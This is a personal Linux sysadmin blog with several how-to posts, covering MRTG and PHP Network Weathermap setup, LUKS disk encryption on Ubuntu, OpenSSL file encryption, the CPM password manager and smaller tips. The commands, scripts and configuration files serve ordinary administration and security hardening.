Lars Strand

Network Weathermap

2010-01-06T18:45:00+01:00

In my last post I used MRTG to monitor the network equipment. MRTG works great with SNMP, but it only present a graph per network port of the switch/router. So, unless you are the network guy, these graphs do not make much sense.

It would be nice to plug in the data from MRTG into a Network Weathermap of some sort. After searching around and trying different weathermaps, the choice fell on "PHP Network Weathermap". It is actively developed, has good documentation and works great for small/medium-sized networks (the map is hand crafted).

The weathermap can use sources from RRDtool which is the backend used by software like Munin, Cacti and MRTG (if enabled) or from the "original" MRTG (comments on the html-pages generated by MRTG). I'll be using the latter datasource - but I'll be sure to try this weathermap with Munin 1.4 another time.

The configuration for each "map" you create is a text-file. This text file can be created using a (simple) editor or manually hand-crafted. Once you know the (simple) syntax and have an overview of the network, a map is easy to create.

Let's go:

1. First you need MRTG up and running

Read how to do it here.

2. Download and install

Download the latest from here: http://www.network-weathermap.com/download
Unpack under /var/www/html/weathermap
Read the manual if you need additional assistance.

3. Create a new map

The weathermap comes with a (rudimentary) map editor, but I found it much easier to edit the configuration file myself while I consult the reference manual

The config file for each map consist of three main parts:

(1) Global section
(2) Node section and
(3) Link section (between the nodes)

3.1 Create a global section

In the global section we define the size of the map, title, and so forth. I also define some additional fonts and template for NODE and LINKS.

#
 
# PHP Weathermap config

#

# Map: Company Name Core Network

#

#



# The size of the map and title

WIDTH 1100

HEIGHT 740

HTMLSTYLE overlib



TITLE Company Name - Core Network Weathermap

TITLEPOS 10 20

TITLEFONT 14



# The output of the map

HTMLOUTPUTFILE company-core-network.html

IMAGEOUTPUTFILE company-core-network.png



# Information about of the newest and oldest data used from MRTG (freshness of the data)

TIMEPOS 10 690 Created: %d %b %Y %H:%M:%S

MAXTIMEPOS 10 710 Newest data: %d %b %Y %H:%M:%S

MINTIMEPOS 10 730 Oldest data: %d %b %Y %H:%M:%S



# We define some additional fonts

FONTDEFINE  8 /var/www/html/weathermap/docs/example/Vera.ttf 8

FONTDEFINE  9 /var/www/html/weathermap/docs/example/VeraBd.ttf 8

FONTDEFINE 10 /var/www/html/weathermap/docs/example/VeraBd.ttf 10

FONTDEFINE 12 /var/www/html/weathermap/docs/example/Vera.ttf 12

FONTDEFINE 14 /var/www/html/weathermap/docs/example/VeraBd.ttf 14



# Here we define the legend

KEYPOS DEFAULT 300 670 Traffic Load

KEYTEXTCOLOR 0 0 0

KEYOUTLINECOLOR 0 0 0

KEYBGCOLOR 255 255 255

KEYFONT 8

KEYSTYLE horizontal



BGCOLOR 255 255 255

TITLECOLOR 0 0 0

TIMECOLOR 0 0 0

SCALE DEFAULT 0 0   192 192 192

SCALE DEFAULT 0 1   255 255 255

SCALE DEFAULT 1 10   140 0 255

SCALE DEFAULT 10 25   32 32 255

SCALE DEFAULT 25 40   0 192 255

SCALE DEFAULT 40 55   0 240 0

SCALE DEFAULT 55 70   240 240 0

SCALE DEFAULT 70 85   255 192 0

SCALE DEFAULT 85 100   255 0 0



SET key_hidezero_DEFAULT 1





# TEMPLATE-only NODEs:

NODE DEFAULT

        MAXVALUE 100

        LABELFONT 9

        LABELOUTLINECOLOR none



# TEMPLATE-only LINKs:

LINK DEFAULT

        BANDWIDTH 1G

        #Use "BWLABEL percent" if you want link utilization in percent

        BWLABEL bits

        WIDTH 3

        BWSTYLE angled

        BWFONT 8

        # NOTE! The next three lines should be on *one* line

        NOTES Current bandwidth utilization (in bits):<br>

           IN {link:this:bandwidth_in:%0.2k} of {link:this:max_bandwidth_in:%0.2k} ({link:this:inpercent:%0.2f}%) <br>

          OUT {link:this:bandwidth_out:%0.2k} of {link:this:max_bandwidth_out:%0.2k} ({link:this:outpercent:%0.2f}%)

        # MRTG graph specific sizes

        OVERLIBWIDTH 500

        OVERLIBHEIGHT 135

        # Arrow comments

        COMMENTFONT 8

        COMMENTSTYLE edge

        COMMENTPOS 50 50



# End of global section

3.2 Next, we define some nodes (switches, routers, servers, ..)

We're plotting both the placement, label, icon and - if any - a "info-link" on each node. The "info-link" is:

a link to the MRTG page of the network switch/router, or if its a server,
a link to the munin page for that sever.

# regular NODEs:

NODE Internet

        LABEL Internet

        LABELFONT 12

        ICON images/Cisco-network.png

        POSITION 400 100

        NOTES Internet connection - ISP-name

        LABELOUTLINECOLOR none

        LABELBGCOLOR 255 233 170



NODE 10.1.1.1.

        LABEL 10.1.1.1 [1]

        LABELOFFSET S

        INFOURL http://mrtg/10.1.1.1.html

        ICON images/Cisco-Catalyst-access-gw.png

        POSITION 400 400

        NOTES Cisco 6500 [1] - Core Switch



# Additional nodes goes here..

...

3.3 Once all the nodes are defined, we add links between them.

Each link fetches its network utilization from MRTG. So we only need to point each link to the corresponding link in MRTG.

# Internet

LINK 10.1.1.1-Internet

        NODES 10.1.1.1 Internet

        OVERLIBGRAPH mrtg/10.1.1.1/10.1.1.1_241-day.png
 # This gives a nice "mouse-over" graph
        INFOURL http://mrtg/10.1.1.1/10.1.1.1_241.html
 # .. or add the Munin page 
        TARGET /var/www/html/mrtg/10.1.1.1/10.1.1.1_241.html

        BANDWIDTH 10G



# Additional links go here..

...

4. We run weathermap to generate the map

$ cd /var/www/html/weathermap

$ /weathermap --config configs/company-core-network.conf

You can now point your web browser to the newly created html-file (defined in the global section).

5. The last thing we'll do it to up a cron-job so that the map is updated every five minutes

We let it run one minute after MRTG, so that we get most fresh data:

1-59/5 * * * * weather /var/www/html/weathermap/weathercron.sh

This script just execute the same commands as in 4).

6. Hints and some nice features

If you do a mouse-over on each link, you'll get the day graph from MRTG in a popup.
If you click on a node, you get either the MRTG page or Munin page for that node.
You get a timestamp for both the oldest and newest data used on the map
If you want additional icons, you can get them from Dia. Dia has a lot of really nice network (Cisco) icons and can export to a large number of formats.

Examples:

Network monitoring with MRTG

2009-11-26T08:07:00+01:00

If you work with any kind of networks, the chances are you've heard of, or even used, MRTG. There are not active development of MRTG today, but bugfix patches are still being added now and then.

So why are we still using it? MRTG just works. It stable and robust. And it does what it is supposed to do and nothing else. This makes MRTG still king of monitoring network equipment over SNMP. Well, that is, until Munin 1.4 is released in a couple of days. Munin 1.4 have greatly added SNMP support and aiming at MRTG.

So until Munin 1.4 is released and stabilizes, I'll use MRTG in production. I've added some minor wrappers around MRTG so that adding and removing nodes gets dead easy. This way, other people can add/remove equipments without knowing too much about MRTG.

Every Linux distribution out there have MRTG in their repository. If yours don't, change distribution or compile MRTG yourself.

1. First of all, we add all our network equipment in a text file:

$ cat /etc/mrtg/network.cfg

#

# SNMP capable swtiches goes here

#

# After adding hosts here, run

#

#   /etc/mrtg/mrtgmaker.sh

#   /etc/mrtg/indexer.sh

#

# Format (community is optional) and override default

#

# [community]@IP description

#

# Example:

# 192.168.1.1 Core Network Router 1 (Location A)

# secret@10.0.0.1 Core Network Router 2 (Location B)

10.1.1.1 Cisco 6500 08/09 Core Network Router 1

192.168.1.1 Cisco 4948 09/09

2. I create a small script that reads the network equipment from the text-file and generate mrtg.cfg:

$ cat /etc/mrtg/mrtgmaker.sh

#!/bin/bash

#

# This should be run every time you add a SNMP capable 

# switch under /etc/mrtg/network.cfg

#



[ -r /etc/mrtg/network.cfg ] || exit 1



ALL=""



while read switch

do

   if `echo $switch | grep -q ^#` || `echo $switch | grep -q "^$"`; then

      continue

   fi

   HOST=`echo $switch | awk ' { print $1 }'`

   ALL="$ALL $HOST"



done < /etc/mrtg/network.cfg



echo "Harvesting SNMP info from $ALL"



/usr/bin/cfgmaker --snmp-options=:::::2 --show-op-down --global 'AddHead[_]: ' --global 'Options[_]: growright, bits' \ 

--global 'HtmlDir: /var/www/html/mrtg' --global 'ImageDir: /var/www/html/mrtg' --global 'LogDir: /var/lib/mrtg' \ 

--global 'ThreshDir: /var/lib/mrtg' --community=SECRET --output=/etc/mrtg/mrtg.cfg --subdirs=HOSTNAME $ALL



echo "Config file: /etc/mrtg/mrtg.cfg"

echo "You should now run /etc/mrtg/indexer.sh"

3. Then we need to add a script to update the HTML

$ cat /etc/mrtg/indexer.sh

#!/bin/bash

#

# This should be run every time you add a SNMP capable

# switch under /etc/mrtg/network.cfg

#



echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

  <html>

  <head>

    <title>MRTG @ Company Name</title>

    <meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">

    <meta http-equiv="Refresh" content="300">

    <meta http-equiv="Cache-Control" content="no-cache">

    <meta http-equiv="Pragma" content="no-cache">

    <meta name="robots" content="noarchive">

    <link href="favicon.ico" rel="shortcut icon">

    <link rel="stylesheet" type="text/css" href="mrtg.css">

  </head>

  <body bgcolor="#FFFFFF" text="#000000">

    <h1>MRTG @ Company Name</h1>

     <img src="company_logo.png" height="135" width="130" align="right" alt="Company Name logo"/>

    <blockquote>

' > /var/www/html/mrtg/index.html



while read switch

do

   if `echo $switch | grep -q ^#` || `echo $switch | grep -q "^$"`; then

      continue

   fi



  IP=$(echo $switch | cut -d" " -f1)

  IP=${IP#*@}

  DESC=$(echo $switch | cut -d" " -f2-40)

  DATE=$(date)

  DNSNAME=$(dig +short -x $IP 2> /dev/null)



  echo "Indexing $IP"

  /usr/bin/indexmaker --nolegend --subtitle='<h2><a href="../">Back home</a></h2>' \ 

 --pageend="<em>MRTG @ Company Name - generated on $HOSTNAME</em>" \ 

 --addhead='<link rel="stylesheet" type="text/css" href="/mrtg.css">' \ 

 --output /var/www/html/mrtg/$IP.html  --filter name=~$IP \ 

 --title="Network utilitization for $DNSNAME ($IP)" /etc/mrtg/mrtg.cfg

  

  if [ -z $DNSNAME ]

  then

      echo "<font size="+1">&rArr; <a href="$IP.html">$IP</a> &mdash; $DESC</font> <br>" >> /var/www/html/mrtg/index.html

  else

      echo "<font size="+1">&rArr; <a href="$IP.html">$IP</a>, $DNSNAME &mdash; $DESC</font> <br>" >> /var/www/html/mrtg/index.html

  fi



done < /etc/mrtg/network.cfg





echo "

    </blockquote> 

<p>MRTG is also used as datasource for our Network Weathermap &mdash <a href="http://weathermap/">http://weathermap</a>

   <hr>

   <em><font size=\"-1\">More info: <a href=\"http://wiki/mediawiki/index.php/MRTG\">

http://wiki/mediawiki/index.php/MRTG</a></font><br></em>

   <em><font size=\"-1\">Generated by $HOSTNAME:$0</font></em>

  </body>

</html>" >>  /var/www/html/mrtg/index.html

4. We add a stylesheet to make thing a little prettier:

$ cat /var/www/html/mrtg/mrtg.css

body {

  background-color: #EFEFEF;

  color: #000000;

  font-family: sans-serif;

  font-size: 12px;

}



h1 {

  background-color: #CCCCCC;

  font-family: sans-serif;

  font-size: 18px;

  font-weight: bold;

}



h2 {

  font-family: sans-serif;

  font-size: 16px;

  font-weight: bold;

}



a {

  text-decoration: none;

}

5. We test:

# /etc/mrtg/mrtgmaker.sh

Harvesting SNMP info from 10.1.1.1 192.168.1.1

Config file: /etc/mrtg/mrtg.cfg

You should now run /etc/mrtg/indexer.sh

# /etc/mrtg/indexer.sh

Indexing 10.1.1.1

Indexing 192.168.1.1

We are then presented with an overview page then takes us to each switch/router:

Slackware 13 released!

2009-08-27T22:32:00+02:00

Slackware 13 was released yesterday. It's the oldest currently maintained Linux distribution out there, and with good reason. It is clean, simple and without the "bells and whistles" that clobbers up so many other distributions.

Slackware was for myself (and for many of my friends and colleagues) my first encounter with Linux. I used Slackware for many years, and still do on occasions. Its a great distribution to really learn Linux and not learn a Linux distribution. I will say that if you really know Linux (and Slackware), you will know most Linux distributions as well.

You would think Slackware was abandoned for other more popular distributions nowadays, but there is still a large active Slackware community and user base out there. It is in fact, one of the most downloaded Linux distributions (in both MB and number of hits) for Norway's largest ftp-site:

http://ftp.uio.no/stats/usage_200907.html#TOPURLS

Quick and strong file-encryption with OpenSSL

2009-06-16T17:31:00+02:00

To quickly encrypt a file with a password of your choice you can use OpenSSL. OpenSSL supports a whole range of ciphers, including government approved encryption algorithms. The encryption algorithm AES is the only accepted open confidentiality algorithm here in Norway (read more here). AES is the new algorithm replacing DES. You can read all about AES and DES elsewhere.

To encrypt a file using AES with a 256 bit key-length:

$ openssl enc -e -aes-256-cbc -salt -in filename.odp -out filename.odp.enc

enter aes-256-cbc encryption password:

Verifying - enter aes-256-cbc encryption password:

The encrypted file is now found as filename.odp.enc

Since symmetric block ciphers process one block of data at the time (AES uses a block length of 128 bits), it is important that we use CBC mode. CBC prevents repeating plaintext to create the same (repeating) ciphertext. Use option -p to have OpenSSL print out the salt, key and IV used:

$ openssl enc -e -aes-256-cbc -salt -p -in filename.odp -out filename.odp.enc

enter aes-256-cbc encryption password:

Verifying - enter aes-256-cbc encryption password:

salt=92BCA2EA0EABCA62

key=1BCE6E251E86A6379066B634FD20CD3090981B50CDF3FF5634C49DCF4A1812A5

iv =9604DF84236BB3965083830396277636

To decrypt the file: Note! If you type in the wrong password, you'll get garbled output since there is no way to check if the password is correct.

$ openssl enc -d -aes-256-cbc -in filename.odp.enc -out filename.odp

enter aes-256-cbc decryption password:

And the decrypted file is found as filename.odp

For example: You can encrypt a file with a password of your choice. Send the file to the receiver, and then communicate to him over another secure communication channel what the password is (and that you've used "aes-256-cbc").

Encrypted swap, tmp and home partition in Ubuntu 9.04

2009-05-19T16:56:00+02:00

I really would like to have an encrypted swap, tmp and home partition on my laptop. In case it gets stolen or if I should forget it somewhere, I can be sure that no-one would be able to read my private files. In this mini-howto I set my home partition using LVM, but using a regular partition should work just fine. This howto should also work, with minor modification, if you use another distribution than Ubuntu.

Updated:
May 2009: Updated for Ubuntu 9.04. Added encrypted /tmp.
May 2008: Init for Ubuntu 8.04.

Note! Both the "server" and "alternate" Ubuntu ISO-images provide the option to encrypt your home directory (but in a different way using eCryptfs. Swap and /tmp are not encrypted). It might be an easier solution if you find this page too hard to follow. The difference? They are two different implementations. eCryptfs is file level encryption, LUKS is block device (/dev/sda3). Think of it like SSL vs. IPSec. Both have their advantages and drawbacks. Read more here and here

By using Linux Unified Key Setup (LUKS) setting up encrypted partition in Linux is done in no time.

Prerequisites

Install required packages:

# apt-get install lvm2 cryptsetup libpam-mount

The device-mapper should be active (if not, reboot):

$ ls -l /dev/mapper/

total 0

crw-rw---- 1 root root  10, 61 2009-05-19 15:39 control

..with support for crypto:

# dmsetup targets | grep crypt

crypt            v1.6.0

Good. Now we're ready.

Part I: Setting up encrypted swap

Step 1: Disable your current swap partition.

 # swapoff /dev/sda2

Step 2: Fill your swap with random data.

# dd if=/dev/urandom of=/dev/sda2 bs=1M

1954+0 records in

1953+0 records out

2048094208 bytes (2.0 GB) copied, 529.177 s, 3.9 MB/s

As you see, this might take some time depending on your swap size. So go grab a coffe.

Step 3: Configure encrypted swap.

Add this to your /etc/crypttab

# cat /etc/crypttab

...

cryptoswap /dev/sda2 /dev/urandom cipher=aes-cbc-essiv:sha256,size=256,hash=sha256,swap

Why /dev/urandom and not /dev/random? The latter blocks until it got enough entropy to continue, urandom don't. So if you use random instead urandom you might have to wait during boot until enough entropy is collected. (It does help to type your keyboard and move the mouse.) Use /dev/random if you're really paranoid.

Next, change your swap entry in /etc/fstab to this:

# cat /etc/fstab

...

/dev/mapper/cryptoswap swap swap sw 0 0

For every time we boot, swap will be encrypted with a different encryption key.

Step 4: Test it.

Reboot to test.

We now have an encrypted swap:

# cat /proc/swaps

Filename				Type		Size	Used	Priority

/dev/mapper/cryptoswap                  partition	2000084	0	-1



# cryptsetup status cryptoswap

/dev/mapper/cryptoswap is active:

  cipher:  aes-cbc-essiv:sha256

  keysize: 256 bits

  device:  /dev/sda2

  offset:  0 sectors

  size:    4000185 sectors

  mode:    read/write

Good. Now we're safe right?

Part II: Dealing with /tmp

To protect /tmp, we have two choices. 1) we can encrypt it like we did with swap or 2) we can create a ramdisk. The content of a ramdisk don't survive a reboot and /tmp rarely is used for any big files, its is also a good option. But, paranoid as we are, we choose option 1)

The setup is almost identical as for swap:

Step 1: Setting up a tmp partition using LVM.

If you use a regular partition, you can easily skip this step.

# pvcreate /dev/sda3

  Physical volume "/dev/sda3" successfully created

# vgcreate vg_storage /dev/sda3

  Volume group "vg_storage" successfully created

# vgchange -a y vg_storage

  0 logical volume(s) in volume group "vg_storage" now active

# lvcreate -L500M -nlv_tmp vg_storage

  Logical volume "lv_tmp" created

For more details on how to use LVM, please check out the excellent LVM HOWTO.

Step 2: Fill the partition with random data.

# dd if=/dev/urandom of=/dev/vg_storage/lv_tmp

1024001+0 records in

1024000+0 records out

524288000 bytes (524 MB) copied, 139.983 s, 3.7 MB/s

Step 3: Add entry in /etc/crypttab

# cat /etc/crypttab

...

cryptotmp /dev/vg_storage/lv_tmp /dev/random cipher=aes-cbc-essiv:sha256,size=256,hash=sha256,tmp

Now, since /tmp is encrypted with a new key every time, the filsystem must be created every time as well. The option "tmp" fixes that for us and calls mkfs before mount. Since it is created with filesystem ext2, we add in fstab:

# cat /etc/fstab

...

/dev/mapper/cryptotmp /tmp ext2 defaults 0 0

Step 4: Test it.

Reboot to test.

We now have an encrypted /tmp partition as well. Great!

# cryptsetup status cryptotmp

/dev/mapper/cryptotmp is active:

  cipher:  aes-cbc-essiv:sha256

  keysize: 256 bits

  device:  /dev/mapper/vg_storage-lv_tmp

  offset:  0 sectors

  size:    1024000 sectors

  mode:    read/write

Part III: Creating and setting up an encrypted home partition

Step 1: Setting up a home partition using LVM.

If you use a regular partition, you can easily skip this step.

# lvcreate -L20G -nlv_home vg_storage

  Logical volume "lv_home" created

Step 2: Fill your soon-to-be home partition with random data.

 # dd if=/dev/urandom of=/dev/vg_storage/lv_home

20481+0 records in

20480+0 records out

21474836480 bytes (21 GB) copied, 5554.23 s, 3.9 MB/s

This will take even longer than the swap partition. So go for lunch or something.

Step 3: Initialize the partition and set initial key.

Remember, if you use a weak password, your screwed. If you forget the password, its game over.

# cryptsetup -c aes-cbc-essiv:sha256 -y -s 256 luksFormat /dev/vg_storage/lv_home



WARNING!

========

This will overwrite data on /dev/vg_storage/lv_home irrevocably.



Are you sure? (Type uppercase yes): YES

Enter LUKS passphrase: 

Verify passphrase: 

Command successful.

We use cipher "aes-cbc-essi", since the default is vulnerable to Watermarking attack.

Step 4: Create a device mapping.

# cryptsetup luksOpen /dev/vg_storage/lv_home cryptohome

Enter LUKS passphrase: 

key slot 0 unlocked.

Command successful.

This will create a device mapping, as can bee see under:

$ ls -l /dev/mapper/

total 0

crw-rw---- 1 root root  10, 61 2009-05-19 15:39 control

brw-rw---- 1 root disk 252,  4 2009-05-19 15:52 cryptohome

brw-rw---- 1 root disk 252,  1 2009-05-19 15:39 cryptoswap

brw-rw---- 1 root disk 252,  2 2009-05-19 15:39 cryptotmp

brw-rw---- 1 root disk 252,  3 2009-05-19 15:52 vg_storage-lv_home

brw-rw---- 1 root disk 252,  0 2009-05-19 15:39 vg_storage-lv_tmp

Note that LVM also uses the device-mapper (that is why LVM volumes also are listed).

Or, you can use the command dmsetup ls to list the mapped devices:

$ dmsetup ls

cryptoswap	(252, 1)

vg_storage-lv_tmp	(252, 0)

cryptotmp	(252, 2)

vg_storage-lv_home	(252, 3)

cryptohome	(252, 4)

Step 5: Create a filesystem.

We now have an encrypted partition. To use it, we need to create a filesystem on it:

# mkfs.ext4 -j -m 1 -O dir_index,filetype,sparse_super /dev/mapper/cryptohome

mke2fs 1.41.4 (27-Jan-2009)

Filesystem label=

OS type: Linux

Block size=4096 (log=2)

Fragment size=4096 (log=2)

1310720 inodes, 5242623 blocks

52426 blocks (1.00%) reserved for the super user

First data block=0

Maximum filesystem blocks=0

160 block groups

32768 blocks per group, 32768 fragments per group

8192 inodes per group

Superblock backups stored on blocks: 

	32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,

	4096000



Writing inode tables: done

Creating journal (32768 blocks): done

Writing superblocks and filesystem accounting information: done



This filesystem will be automatically checked every 28 mounts or

180 days, whichever comes first.  Use tune2fs -c or -i to override.

Step 6: Testing!

We start by closing and reopen the encrypted partition before we mount it:

# cryptsetup luksClose cryptohome

# cryptsetup luksOpen /dev/vg_storage/lv_home cryptohome

Enter LUKS passphrase: 

key slot 0 unlocked.

Command successful.

# mkdir -p /mnt/cryptohome

# mount /dev/mapper/cryptohome /mnt/cryptohome

# touch /mnt/cryptohome/testfile

# ls /mnt/cryptohome/

lost+found   testfile

We can also confirm that it works by issuing the command:

# cryptsetup status cryptohome

/dev/mapper/cryptohome is active:

  cipher:  aes-cbc-essiv:sha256

  keysize: 256 bits

  device:  /dev/mapper/vg_storage-lv_home

  offset:  2056 sectors

  size:    41940984 sectors

  mode:    read/write

Now would be a good time to move your current home to this partition.

Finally we umount:

 # umount /mnt/cryptohome

 # cryptsetup luksClose cryptohome

Step 7: Cryptohome mounted at boot or at login?

Now you have to take a choice. You can enable the partition at boot time, but then the boot sequence is interrupted asking you for the LUKS password. If you want the partition automatically mounted when you login, skip to the next section.

Instead of manually typing in password, you can have the key stored externally - for instance on a usb-stick. Read more about that here.

You want to enable mounting at boot time? Then update /etc/crypttab:

# cat /etc/crypttab

...

cryptohome /dev/vg_storage/lv_home none luks

And /etc/fstab:

# cat /etc/fstab

...

/dev/mapper/cryptohome	/home/ ext4 relatime,errors=remount-ro 0 2

When you now reboot, the boot process is interrupted asking you for the LUKS password. If you type it correctly, the home partition is mounted. When you now log in, you will have an encrypted home partition ready waiting for you.

Part IV: Automatically mount when logging in.

A more elegant solution would be to automatically mount the home partition the same time you log in. This require that you use the same password for login as for the encrypted partition. (Actually that is not entirely true. You may have the password stored on file somewhere. But in this howto, we assume you have the same password for both.)

Step 1: Remove home partition from /etc/fstab

If there is an entry to your (encrypted) home partition in /etc/fstab, remove it

# cat /etc/fstab

...

/dev/mapper/cryptohome	/home ext4 relatime,errors=remount-ro 0 2 # this gotta go

Step 2: Update /etc/crypttab

Make sure the you have a line in /etc/crypttab that reads as follows:

# cat /etc/crypttab

...

cryptohome /dev/vg_storage/lv_home noauto luks

Step 3: Configure pam_mount

Add the following entry in /etc/security/pam_mount.conf.xml. This file is heavily commented, and it may be useful to read the comments.

# cat /etc/security/pam_mount.conf.xml

...

<volume user="lars" fstype="crypt" path="/dev/vg_storage/lv_home" mountpoint="/home" />

Step 4: Configure PAM

No longer necessary. As of 9.04 all options already included.

Step 5: Test!

Log out and back in. You should now have an encrypted home:

$ df -h

...

/dev/mapper/_dev_mapper_vg_storage-lv_home

                       20G  296M   20G   2% /home

Congratulation, you now have an encrypted swap, tmp and home partition!

A final advice: Take regular backups.

Useful links:

"dm-crypt: a device-mapper crypto target": http://www.saout.de/misc/dm-crypt/
"dm-crypt HOWTO for Debian unstable and testing": http://www.saout.de/tikiwiki/tiki-index.php?page=HOWTO

Sharing Internet connection over bluetooth in Ubuntu

2009-04-23T05:36:33+02:00

Me and my girlfriend are staying in a hotel here in Sha Tin, Hong Kong. Since the hotel only allow one computer per room connected to the Internet at the time - I found out it would be a nice time to look into Internet connection sharing over bluetooth. There is some documentation on how to set up PAN in Linux, so the prosess should be pretty straightforward. One posting I found mention some software called "Blueman". Turns out Blueman can do all the work for me with the click of a button.

It's even in Launchpad, so I can install it using apt. I start the applet, go into "Local Services", enable NAP, and.. it just works! This is getting too easy!

Mass EXIF date and time manipulation

2009-04-23T05:04:00+02:00

I'm out traveling and I forgot to change the timezone on my camera again. So the EXIF time stored in the pictures are all wrong. My first though was to write another Perl script to fix this. But I found out that the program jhead can do all sort of magic EXIF manipulation. To mass change EXIF dates, just do a:

$  jhead -ta+7:00 *.JPG

Modified: IMG_1708.JPG

Modified: IMG_1709.JPG

Modified: IMG_1710.JPG

....

This add seven hours to the EXIF stored time. Nice and easy.

Memory usage by user

2009-04-08T00:54:00+02:00

A short little script I stumbled across when cleaning my $HOME. I do not think I wrote it myself - at least I can't recall that I did. Quite handy and it's small and compact using the commands ps, awk, sort and head:

ps aux --no-headers | awk '

        {
 
                name[$1] += $1; 

                pros[$1] += $4;

                mem[$1] += $5 

        }

        END { 

                for (var in name)  { 

                        print mem[var]" "var" "pros[var] 

                }

        }' | sort -nr | head

The result is a top ten list of the users that consume the most memory:

741012 root 9.3

238152 bjorn 3.8

119380 thomasez 1.2

105332 krav 1.9

100804 lars 0.6

95916 ingvar 1.6

89720 kjetilho 1.5

78044 jo 1

74232 espen 0.8

73460 michael 0.4

There I am - at number five...

First RFC 40 years old

2009-04-07T23:45:00+02:00

The first request for comments (RFC 1) was published 40 years ago today (7. April 2009). RFCs are standard documents published by the Internet Engineering Task Force (IETF). Today over 5000 RFCs have been published by IETF. Stephen Crocker, the author of RFC1, recollect some thoughts of the early days:

http://www.nytimes.com/2009/04/07/opinion/07crocker.html

Secure password management using CPM

2009-02-01T08:00:00+01:00

There are numerous articles on the importance of creating strong secure passwords that are hard to guess and break. However, the harder the password, the harder it is to memorize. Another problem arises when we have several different passwords, usually one for each device or service. How can we store and manage the increasing number of passwords? Console Password Management (CPM), created by Harry Brueckner, does a great job for exactly that.

I worked as a system administrator for a medium sized Norwegian company. Our department was administering a large number of network devices and Unix/Linux servers. The company had two international offices each with different network security zones. This complex network topology combined with a severe strict password policy, made it impossible to memorize all different passwords.

We solved this by equipping each administrator with their own Palm with an approved secure password application. These Palms had to be manually fed, which meant in practice that they never were in sync. The authoritative password "database" was a green folder with sheets upon sheets of paper combined with post-it notes scribbled all over. In other words, it was a mess. The only up-turn was that this folder was stored in a huge fire-proof safe.

We decided to clean this up. First, we wanted an online central password database, stored as secure as possible, and running on Linux. I found dozens upon dozens of password applications. However, most of these could be placed in one of two categories (and in some cases both):

The application is designed for one user. Many of these applications are pretty usable, some even with a nice graphical user interface. A familiar example; both Firefox and Thunderbird allow you to save username and passwords. When enabling the Master password, you should, these passwords are encrypted on disk. However, these passwords are only available to the user of the application. The desktop managers GNOME and KDE both have the ability to save passwords securely.
The application is fundamentally flawed. For example, the application allows core dumps or being swapped to disk. One password application I found even stored the passwords in clear(!) text in a SQL database. Really dumb.

Fortnunately, there was one application that caught my eye. It did not fit any of these conditions above.

Console Password Management

CPM is one of those rare applications that have done many things right when it comes to secure passwords storage. At startup it checks

whether core dumps are disabled,
whether memory is locked from paging,
whether the application is protected from ptrace spying,
whether the application has environment checks enabled, and
whether it's running without root privileges.

The database of CPM is just a XML file, compressed with zlib (gzip), and encrypted with GPG. CPM is command line based, which I consider an advantage. That way I can access it through a login window or a terminal. Most of the work of a network or Linux administrator is in a shell anyway. Also, should I be stuck down in the server room and need that password, all I need to do is log in to the correct server and access CPM. Handy.

Installation

Installing CPM from source can be a little hassle unless you are familiar with compiling your own software. On Debian, you can just add CPM's apt source and install it using Debian's own package manager. You'll find instructions on CPM's homepage. Unfortunately, I did not find updated packages for Fedora/Red Hat Enterprise. I know that the developer is busy updating CPM and that a static binary is high on his priority list. A static binary would ease the installation tremendously.

Note that CPM is installed SUID root (mode 4755), meaning that CPM will be executed with root privileges regardless whether root executes the application or the user. This is necessary to enable memory locking and protection from strace/ptrace attacks. The root privilege is dropped right after memory locking.

GnuPG

Before we start using CPM, we need to have an asymmetric keypair generated by GnuPG. GnuPG is a free implementation of the commercial PGP and is included in most Linux distributions. Since CPM relies so heavily on GPG, it is imperative that you and your co-users have a grip on GnuPG. If you plan to have more than one user accessing the same CPM database, you need to create a GnuPG "web-of-trust", which basically is signing each others keys. If you are the only users of CPM, this is not necessarily.

If you don't already have a GnuPG keypair, you can create one:

  $ gpg --gen-key

You'll be asked some questions, where you safely can choose the default options. Be sure to type in your name and email address when asked so. Choose a really good passphrase! This will be the only password you'll have to remember. But do remember it! If you forget this, there is no way to recover the password database.

You can now list your newly created key:

  $ gpg --list-keys

Good! Lets get started using CPM.

Configuration and usage

First, we need to configure CPM. Copy /etc/cpm/cpmrc to ~/.cpmrc

 $ cp /etc/cpm/cpmrc ~/.cpmrc

Open this file with the editor of your choice. In this file, you need to set the "EncryptionKey" variable. Its value would be the GnuPG email-address you typed in when you generated the GnuPG keys. So for me, that would be:

  EncryptionKey "lars.strand@linpro.no"

Save and exit. Start CPM with a security test:

 $ cpm --security

You should now get an output like the one in the image above. It looks like we're secure enough. The first time we start CPM, we get an error telling us that it can't find any database. That's ok, since we haven't created one yet. There is no host added, so you'll be greeted with an empty CPM as shown in the image below.

You populate the database by pressing Ctrl-A. Enter the hostname, and press enter. Selecting the host and pressing enter, enables you to add one or more services for this host. Each service can have one or more username/password pairs linked to it. Every host, service or username/password can have a comment associated with it. See the image below.

Install the password checker cracklib, and CPM also warns you if you enter a weak password. See figure:

Every entry has a timestamp indicating when it was updated and by which GnuPG key. This way, we can see which user has updated this particular entry.

Finally, save by pressing Ctrl-W. If this is the first time you run CPM, we'll be prompted for our GnuPG password. Otherwise we're asked for the password at startup - else CPM is not able to read our database. Quit by pressing ESC. The database is now saved in ~/.cpmdb in our home directory:

  $ file ~/.cpmdb

  /home/lars/.cpmdb: PGP armored data message

This file is just an encrypted and compressed XML-file. We can easily decrypt the content by issuing the command:

  $ gpg --decrypt ~/.cpmdb | gzip -cd > cpm-decrypted.xml

  $ file cpm-decrypted.xml

  cpm-decrypted.xml: XML document text

CPM also provides command line search. Here I search for every entry containing "trinity:

  $ cpm valhall

  enter your passphrase (try #1)

  Lars Strand 

  login root@valhall secretpassword3

  1 match found.

This is quite useful when I'm in a hurry.

More than one user

If you plan to use CPM with several users, be sure that everyone has grip on GnuPG and how to proper handle their keys. You also want to store the database somewhere else. Your home directory is not a good place! Create a directory /var/lib/cpm/ and call the database cpmdb. Create a group called "cpm" and populate it with users of CPM. Then make sure the directory is (only) readable by that group. If CPM is running on a high trusted host, you've come a long way to see the security officer in your company smile.

You need to consult the GnuPG documentation on how to sign each others GnuPG keys to create a "web-of-trust".

If there is more than one user accessing CPM at the same time. Only the first user has read-write access. All other users will have read-only.

Conclusion

CPM does one thing, and it does it really well. It stores passwords securely. If you and your co-workers know how to handle GnuPG, it is way better than most other solutions out there.

This article originally appeared in Linux+DVD magazine in the January 2009 issue.

